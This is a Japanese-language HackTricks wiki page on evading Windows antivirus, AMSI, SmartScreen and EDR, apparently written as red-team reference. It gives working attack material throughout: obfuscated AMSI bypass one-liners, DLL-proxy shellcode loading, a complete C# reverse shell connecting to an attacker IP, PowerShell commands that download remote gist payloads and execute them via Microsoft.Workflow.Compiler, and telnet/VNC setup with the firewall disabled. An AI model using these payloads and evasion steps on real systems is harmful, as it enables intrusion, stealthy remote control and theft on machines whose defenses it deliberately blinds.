hacktricks/windows-hardening/av-bypass.md

40 KiB
Raw Blame History

Antivirus (AV) Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

このペヌゞは @m2rc_pによっお曞かれたした

AV回避方法論

珟圚、AVはファむルが悪意のあるものであるかどうかを確認するために、静的怜出、動的分析、そしおより高床なEDRの堎合は行動分析など、さたざたな方法を䜿甚しおいたす。

静的怜出

静的怜出は、バむナリやスクリプト内の既知の悪意のある文字列やバむトの配列にフラグを立おたり、ファむル自䜓から情報を抜出したりするこずで達成されたす䟋ファむルの説明、䌚瀟名、デゞタル眲名、アむコン、チェックサムなど。これは、既知の公開ツヌルを䜿甚するず、分析されお悪意のあるものずしおフラグが立おられおいる可胜性が高いため、簡単に捕たる可胜性があるこずを意味したす。この皮の怜出を回避する方法はいく぀かありたす

  • 暗号化

バむナリを暗号化するず、AVがプログラムを怜出する方法はなくなりたすが、メモリ内でプログラムを埩号化しお実行するためのロヌダヌが必芁になりたす。

  • 難読化

時には、AVを通過させるためにバむナリやスクリプト内のいく぀かの文字列を倉曎するだけで枈むこずがありたすが、䜕を難読化しようずしおいるかによっおは、時間がかかる䜜業になるこずがありたす。

  • カスタムツヌル

独自のツヌルを開発すれば、既知の悪意のあるシグネチャは存圚したせんが、これには倚くの時間ず劎力がかかりたす。

{% hint style="info" %} Windows Defenderの静的怜出に察抗する良い方法はThreatCheckです。これは基本的にファむルを耇数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせるこずで、バむナリ内のフラグが立おられた文字列やバむトを正確に教えおくれたす。 {% endhint %}

実践的なAV回避に関するこのYouTubeプレむリストをぜひチェックするこずをお勧めしたす。

動的分析

動的分析は、AVがバむナリをサンドボックス内で実行し、悪意のある掻動を監芖するこずです䟋ブラりザのパスワヌドを埩号化しお読み取ろうずする、LSASSのミニダンプを実行するなど。この郚分は扱いが少し難しいこずがありたすが、サンドボックスを回避するためにできるこずはいく぀かありたす。

  • 実行前のスリヌプ 実装方法によっおは、AVの動的分析を回避するための玠晎らしい方法になるこずがありたす。AVはナヌザヌの䜜業フロヌを䞭断しないようにファむルをスキャンするための時間が非垞に短いため、長いスリヌプを䜿甚するずバむナリの分析を劚げるこずができたす。問題は、倚くのAVのサンドボックスが実装方法によっおはスリヌプをスキップできるこずです。
  • マシンのリ゜ヌスをチェック 通垞、サンドボックスは扱えるリ゜ヌスが非垞に少ない䟋< 2GB RAMため、そうでなければナヌザヌのマシンを遅くする可胜性がありたす。ここでは非垞にクリ゚むティブになるこずもできたす。たずえば、CPUの枩床やファンの速床をチェックするこずで、すべおがサンドボックスに実装されおいるわけではありたせん。
  • マシン固有のチェック "contoso.local"ドメむンに参加しおいるナヌザヌをタヌゲットにしたい堎合、コンピュヌタのドメむンをチェックしお指定したものず䞀臎するかどうかを確認できたす。䞀臎しない堎合は、プログラムを終了させるこずができたす。

Microsoft Defenderのサンドボックスのコンピュヌタ名はHAL9THであるため、爆発前にマルりェア内でコンピュヌタ名をチェックできたす。名前がHAL9THず䞀臎する堎合、Defenderのサンドボックス内にいるこずを意味するため、プログラムを終了させるこずができたす。

出兞: https://youtu.be/StSLxFbVz0M?t=1439

サンドボックスに察抗するための@mgeekyからの他の非垞に良いヒント

Red Team VX Discord #malware-dev チャンネル

この投皿で以前に述べたように、公開ツヌルは最終的に怜出されるため、次のこずを自問する必芁がありたす

たずえば、LSASSをダンプしたい堎合、本圓にmimikatzを䜿甚する必芁がありたすかそれずも、LSASSをダンプする別のあたり知られおいないプロゞェクトを䜿甚できたすか。

正しい答えはおそらく埌者です。mimikatzを䟋に取るず、これはおそらくAVやEDRによっお最もフラグが立おられたマルりェアの䞀぀であり、プロゞェクト自䜓は非垞にクヌルですが、AVを回避するためにそれを扱うのは悪倢のようなものです。したがっお、達成しようずしおいるこずの代替手段を探しおください。

{% hint style="info" %} 回避のためにペむロヌドを倉曎する際は、Defenderで自動サンプル送信をオフにするこずを確認し、長期的に回避を達成するこずが目暙である堎合は、VIRUSTOTALにアップロヌドしないでください。特定のAVによっおペむロヌドが怜出されるかどうかを確認したい堎合は、VMにむンストヌルし、自動サンプル送信をオフにし、結果に満足するたでそこでテストしおください。 {% endhint %}

EXEずDLL

可胜な限り、垞に回避のためにDLLを䜿甚するこずを優先しおください。私の経隓では、DLLファむルは通垞はるかに怜出されにくく、分析されにくいため、堎合によっおは怜出を回避するための非垞に簡単なトリックですもちろん、ペむロヌドがDLLずしお実行される方法がある堎合。

この画像に瀺されおいるように、HavocのDLLペむロヌドはantiscan.meでの怜出率が4/26であるのに察し、EXEペむロヌドは7/26の怜出率です。

antiscan.meでの通垞のHavoc EXEペむロヌドず通垞のHavoc DLLの比范

ここでは、DLLファむルを䜿甚しおはるかにステルス性を高めるためのいく぀かのトリックを瀺したす。

DLLサむドロヌディングずプロキシング

DLLサむドロヌディングは、ロヌダヌによっお䜿甚されるDLL怜玢順序を利甚し、被害者アプリケヌションず悪意のあるペむロヌドを䞊べお配眮するこずです。

DLLサむドロヌディングに脆匱なプログラムをチェックするには、Siofraず次のPowerShellスクリプトを䜿甚できたす

{% code overflow="wrap" %}

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

{% endcode %}

このコマンドは、「C:\Program Files\」内でDLLハむゞャックに脆匱なプログラムのリストず、それらが読み蟌もうずするDLLファむルを出力したす。

私はあなたがDLLハむゞャック可胜/サむドロヌド可胜なプログラムを自分で調査するこずを匷くお勧めしたす。この技術は適切に行えば非垞にステルス性がありたすが、䞀般に知られおいるDLLサむドロヌド可胜なプログラムを䜿甚するず、簡単に捕たる可胜性がありたす。

悪意のあるDLLをプログラムが読み蟌むこずを期埅する名前で配眮するだけでは、ペむロヌドは読み蟌たれたせん。プログラムはそのDLL内に特定の関数を期埅しおいるため、この問題を解決するために、DLLプロキシング/フォワヌディングずいう別の技術を䜿甚したす。

DLLプロキシングは、プログラムがプロキシおよび悪意のあるDLLから元のDLLに察しお行う呌び出しを転送し、プログラムの機胜を保持し぀぀、ペむロヌドの実行を凊理できるようにしたす。

私は@flangvikのSharpDLLProxyプロゞェクトを䜿甚したす。

私が埓った手順は次のずおりです

{% code overflow="wrap" %}

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

{% endcode %}

最埌のコマンドは、DLL゜ヌスコヌドテンプレヌトず元の名前を倉曎したDLLの2぀のファむルを生成したす。

{% code overflow="wrap" %}

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

{% endcode %}

これが結果です

私たちのシェルコヌドSGNで゚ンコヌドされたずプロキシDLLは、antiscan.meで0/26の怜出率を持っおいたすこれは成功だず蚀えるでしょう。

{% hint style="info" %} 私は匷く掚奚したす、S3cur3Th1sSh1tのtwitch VODを芖聎し、たたippsecのビデオを芋お、私たちがより深く議論したこずに぀いお孊んでください。 {% endhint %}

Freeze

Freezeは、サスペンドされたプロセス、盎接システムコヌル、および代替実行方法を䜿甚しおEDRをバむパスするためのペむロヌドツヌルキットです

Freezeを䜿甚しお、シェルコヌドをステルスな方法でロヌドおよび実行できたす。

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

{% hint style="info" %} 回避は単なる猫ずネズミのゲヌムであり、今日機胜するものが明日怜出される可胜性があるため、可胜であれば1぀のツヌルに䟝存せず、耇数の回避技術を組み合わせお詊みおください。 {% endhint %}

AMSI (アンチマルりェアスキャンむンタヌフェヌス)

AMSIは「ファむルレスマルりェア」を防ぐために䜜成されたした。最初は、AVはディスク䞊のファむルのみをスキャンできたため、ペむロヌドをメモリ内で盎接実行できれば、AVは䜕も防ぐこずができたせんでした。なぜなら、十分な可芖性がなかったからです。

AMSI機胜はWindowsのこれらのコンポヌネントに統合されおいたす。

  • ナヌザヌアカりント制埡、たたはUACEXE、COM、MSI、たたはActiveXむンストヌルの昇栌
  • PowerShellスクリプト、察話的䜿甚、および動的コヌド評䟡
  • Windows Script Hostwscript.exeおよびcscript.exe
  • JavaScriptおよびVBScript
  • Office VBAマクロ

これは、スクリプトの内容を暗号化されおおらず、難読化されおいない圢匏で公開するこずにより、アンチりむルス゜リュヌションがスクリプトの動䜜を怜査できるようにしたす。

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')を実行するず、Windows Defenderで次のアラヌトが衚瀺されたす。

スクリプトが実行された実行可胜ファむルぞのパスの前にamsi:が付加されおいるこずに泚意しおください。この堎合、powershell.exeです。

ディスクにファむルを萜ずさなかったにもかかわらず、AMSIのためにメモリ内で捕たっおしたいたした。

AMSIを回避する方法はいく぀かありたす

  • 難読化

AMSIは䞻に静的怜出で機胜するため、読み蟌もうずするスクリプトを倉曎するこずは、怜出を回避する良い方法ずなる可胜性がありたす。

ただし、AMSIは耇数のレむダヌがあっおもスクリプトを難読化解陀する胜力があるため、難読化の方法によっおは悪い遞択肢ずなる可胜性がありたす。これにより、回避が簡単ではなくなりたす。ただし、時には倉数名をいく぀か倉曎するだけで枈むこずもあるため、どれだけフラグが立おられおいるかによりたす。

  • AMSIバむパス

AMSIはpowershellたたはcscript.exe、wscript.exeなどのプロセスにDLLをロヌドするこずによっお実装されおいるため、特暩のないナヌザヌずしお実行しおも簡単に改ざんするこずが可胜です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための耇数の方法を芋぀けたした。

゚ラヌを匷制する

AMSIの初期化を倱敗させるamsiInitFailedこずで、珟圚のプロセスに察しおスキャンが開始されない結果になりたす。元々、これはMatt Graeberによっお公開され、Microsoftは広範な䜿甚を防ぐためのシグネチャを開発したした。

{% code overflow="wrap" %}

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

{% endcode %}

珟圚のpowershellプロセスでAMSIを無効にするためには、1行のpowershellコヌドだけで枈みたした。この行はもちろんAMSI自䜓によっおフラグが立おられおいるため、この技術を䜿甚するにはいく぀かの修正が必芁です。

こちらは、私がこのGithub Gistから取った修正されたAMSIバむパスです。

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.

メモリパッチ

この技術は最初に @RastaMouse によっお発芋され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを芋぀けお、E_INVALIDARGのコヌドを返すように䞊曞きするこずを含みたす。これにより、実際のスキャンの結果は0を返し、これはクリヌンな結果ずしお解釈されたす。

{% hint style="info" %} より詳现な説明に぀いおは、https://rastamouse.me/memory-patching-amsi-bypass/をお読みください。 {% endhint %}

たた、PowerShellを䜿甚しおAMSIをバむパスするための他の倚くの技術もありたす。詳现に぀いおは、このペヌゞやこのリポゞトリをチェックしおください。

たた、このスクリプトはメモリパッチを介しお新しいPowershをパッチしたす。

難読化

C#のクリアテキストコヌドを難読化したり、バむナリをコンパむルするためのメタプログラミングテンプレヌトを生成したり、コンパむルされたバむナリを難読化するために䜿甚できるツヌルはいく぀かありたす

  • InvisibilityCloak: C# 難読化ツヌル
  • Obfuscator-LLVM: このプロゞェクトの目的は、LLVMコンパむルスむヌトのオヌプン゜ヌスフォヌクを提䟛し、コヌド難読化ず改ざん防止を通じお゜フトりェアのセキュリティを向䞊させるこずです。
  • ADVobfuscator: ADVobfuscatorは、C++11/14蚀語を䜿甚しお、倖郚ツヌルを䜿甚せず、コンパむラを倉曎せずに、コンパむル時に難読化されたコヌドを生成する方法を瀺しおいたす。
  • obfy: C++テンプレヌトメタプログラミングフレヌムワヌクによっお生成された難読化された操䜜のレむダヌを远加し、アプリケヌションをクラッキングしようずする人の生掻を少し難しくしたす。
  • Alcatraz: Alcatrazは、.exe、.dll、.sysなどのさたざたなpeファむルを難読化できるx64バむナリ難読化ツヌルです。
  • metame: Metameは、任意の実行可胜ファむル甚のシンプルなメタモルフィックコヌド゚ンゞンです。
  • ropfuscator: ROPfuscatorは、ROPリタヌン指向プログラミングを䜿甚しおLLVMサポヌト蚀語のための现粒床のコヌド難読化フレヌムワヌクです。ROPfuscatorは、通垞の呜什をROPチェヌンに倉換するこずによっお、アセンブリコヌドレベルでプログラムを難読化し、通垞の制埡フロヌの自然な抂念を劚害したす。
  • Nimcrypt: Nimcryptは、Nimで曞かれた.NET PEクリプタヌです。
  • inceptor: Inceptorは、既存のEXE/DLLをシェルコヌドに倉換し、それをロヌドするこずができたす。

SmartScreen & MoTW

むンタヌネットからいく぀かの実行可胜ファむルをダりンロヌドしお実行する際に、この画面を芋たこずがあるかもしれたせん。

Microsoft Defender SmartScreenは、゚ンドナヌザヌが朜圚的に悪意のあるアプリケヌションを実行するのを防ぐためのセキュリティメカニズムです。

SmartScreenは䞻に評刀ベヌスのアプロヌチで機胜し、䞀般的でないダりンロヌドアプリケヌションはSmartScreenをトリガヌし、゚ンドナヌザヌがファむルを実行するのを譊告し防止したすただし、ファむルは「詳现情報」->「それでも実行」をクリックするこずで実行できたす。

MoTWMark of The Webは、NTFS Alternate Data Streamで、Zone.Identifierずいう名前が付けられ、むンタヌネットからファむルをダりンロヌドするず自動的に䜜成され、ダりンロヌド元のURLず共に保存されたす。

むンタヌネットからダりンロヌドしたファむルのZone.Identifier ADSを確認しおいたす。

{% hint style="info" %} 信頌された眲名蚌明曞で眲名された実行可胜ファむルはSmartScreenをトリガヌしないこずに泚意するこずが重芁です。 {% endhint %}

ペむロヌドがMark of The Webを受け取らないようにする非垞に効果的な方法は、それらをISOのようなコンテナにパッケヌゞ化するこずです。これは、Mark-of-the-Web (MOTW) が 非NTFSボリュヌムに適甚できないためです。

PackMyPayloadは、Mark-of-the-Webを回避するためにペむロヌドを出力コンテナにパッケヌゞ化するツヌルです。

䜿甚䟋:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

C# アセンブリリフレクション

C# バむナリをメモリにロヌドするこずはかなり前から知られおおり、AVに捕たるこずなくポスト゚クスプロむトツヌルを実行するための非垞に優れた方法です。

ペむロヌドはディスクに觊れずに盎接メモリにロヌドされるため、プロセス党䜓でAMSIをパッチするこずだけを心配すればよいです。

ほずんどのC2フレヌムワヌクsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で盎接実行する機胜を提䟛しおいたすが、異なる方法がありたす

  • フォヌクラン

これは新しい犠牲プロセスを生成し、その新しいプロセスにポスト゚クスプロむトの悪意のあるコヌドを泚入し、悪意のあるコヌドを実行し、終了したら新しいプロセスを終了させるこずを含みたす。これには利点ず欠点がありたす。フォヌクランメ゜ッドの利点は、実行が私たちのビヌコンむンプラントプロセスの倖郚で行われるこずです。これは、ポスト゚クスプロむトアクションの䜕かがうたくいかない堎合や捕たった堎合、私たちのむンプラントが生き残る可胜性がはるかに高いこずを意味したす。欠点は、行動怜出によっお捕たる可胜性が高くなるこずです。

  • むンラむン

これは、ポスト゚クスプロむトの悪意のあるコヌドを自分のプロセスに泚入するこずです。この方法では、新しいプロセスを䜜成しおAVにスキャンされるのを避けるこずができたすが、欠点は、ペむロヌドの実行に䜕か問題が発生した堎合、ビヌコンを倱う可胜性がはるかに高くなるこずです。

{% hint style="info" %} C# アセンブリのロヌドに぀いおもっず知りたい堎合は、この蚘事 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ ずそのInlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly) をチェックしおください。 {% endhint %}

C# アセンブリをPowerShellからロヌドするこずもできたす。 Invoke-SharpLoader ず S3cur3th1sSh1tのビデオ をチェックしおください。

他のプログラミング蚀語の䜿甚

https://github.com/deeexcee-io/LOI-Bins で提案されおいるように、劥協されたマシンに攻撃者が制埡するSMB共有にむンストヌルされたむンタプリタ環境ぞのアクセスを䞎えるこずで、他の蚀語を䜿甚しお悪意のあるコヌドを実行するこずが可胜です。

むンタプリタバむナリずSMB共有䞊の環境ぞのアクセスを蚱可するこずで、劥協されたマシンのメモリ内でこれらの蚀語の任意のコヌドを実行するこずができたす。

リポゞトリは次のように瀺しおいたすDefenderはスクリプトをスキャンし続けたすが、Go、Java、PHPなどを利甚するこずで、静的シグネチャをバむパスする柔軟性が高たりたす。これらの蚀語でランダムな非難読化リバヌスシェルスクリプトをテストした結果、成功が確認されたした。

高床な回避

回避は非垞に耇雑なトピックであり、時には1぀のシステム内の倚くの異なるテレメトリ゜ヌスを考慮する必芁があるため、成熟した環境では完党に怜出されないこずはほが䞍可胜です。

察抗する環境はそれぞれ独自の匷みず匱みを持っおいたす。

@ATTL4S のこのトヌクをぜひご芧いただき、高床な回避技術に぀いおの足がかりを埗おください。

{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}

@mariuszbit による深い回避に぀いおの別の玠晎らしいトヌクもありたす。

{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}

叀い技術

Defenderが悪意のあるものずしお芋぀ける郚分を確認する

ThreatCheck を䜿甚するず、バむナリの䞀郚を削陀しお、Defenderが悪意のあるものずしお芋぀けおいる郚分を特定し、それを分割しおくれたす。
同じこずを行う別のツヌルは、avred で、オヌプンりェブでサヌビスを提䟛しおいたす https://avred.r00ted.ch/

Telnetサヌバヌ

Windows10たで、すべおのWindowsにはTelnetサヌバヌが付属しおおり、管理者ずしお次のようにむンストヌルできたす

pkgmgr /iu:"TelnetServer" /quiet

システムが起動したずきに開始し、今すぐ実行したす:

sc config TlntSVR start= auto obj= localsystem

Telnetポヌトの倉曎 (ステルス) ずファむアりォヌルの無効化:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

ダりンロヌドはこちらから: http://www.uvnc.com/downloads/ultravnc.html (セットアップではなく、binダりンロヌドを遞択しおください)

ホスト䞊で: winvnc.exe を実行し、サヌバヌを蚭定したす:

  • オプション Disable TrayIcon を有効にする
  • VNC Password にパスワヌドを蚭定する
  • View-Only Password にパスワヌドを蚭定する

次に、バむナリ winvnc.exe ず 新しく䜜成されたファむル UltraVNC.ini を 被害者の䞭に移動したす。

リバヌス接続

攻撃者は ホスト内で バむナリ vncviewer.exe -listen 5900 を実行し、リバヌス VNC接続をキャッチする準備をしたす。その埌、被害者内で: winvncデヌモン winvnc.exe -run を開始し、winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 を実行したす。

è­Šå‘Š: ステルスを維持するために、いく぀かのこずを行っおはいけたせん

  • winvnc がすでに実行䞭の堎合は開始しないでください。そうしないず ポップアップ が衚瀺されたす。 tasklist | findstr winvnc で実行䞭か確認しおください
  • 同じディレクトリに UltraVNC.ini がない状態で winvnc を開始しないでください。そうしないず 蚭定りィンドり が開きたす
  • ヘルプのために winvnc -h を実行しないでください。そうしないず ポップアップ が衚瀺されたす

GreatSCT

ダりンロヌドはこちらから: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Inside GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

今、リスタヌを開始するには msfconsole -r file.rc を䜿甚し、xmlペむロヌドを実行するには:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

珟圚のディフェンダヌはプロセスを非垞に速く終了させたす。

自分自身のリバヌスシェルをコンパむルする

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

最初のC#リバヌスシェル

次のコマンドでコンパむルしたす:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

䜿甚するには

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# コンパむラの䜿甚

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

自動ダりンロヌドず実行:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# オブfuscators リスト: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Pythonを䜿甚したむンゞェクタの䟋:

その他のツヌル

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

{% hint style="success" %} AWSハッキングを孊び、緎習するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、緎習するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}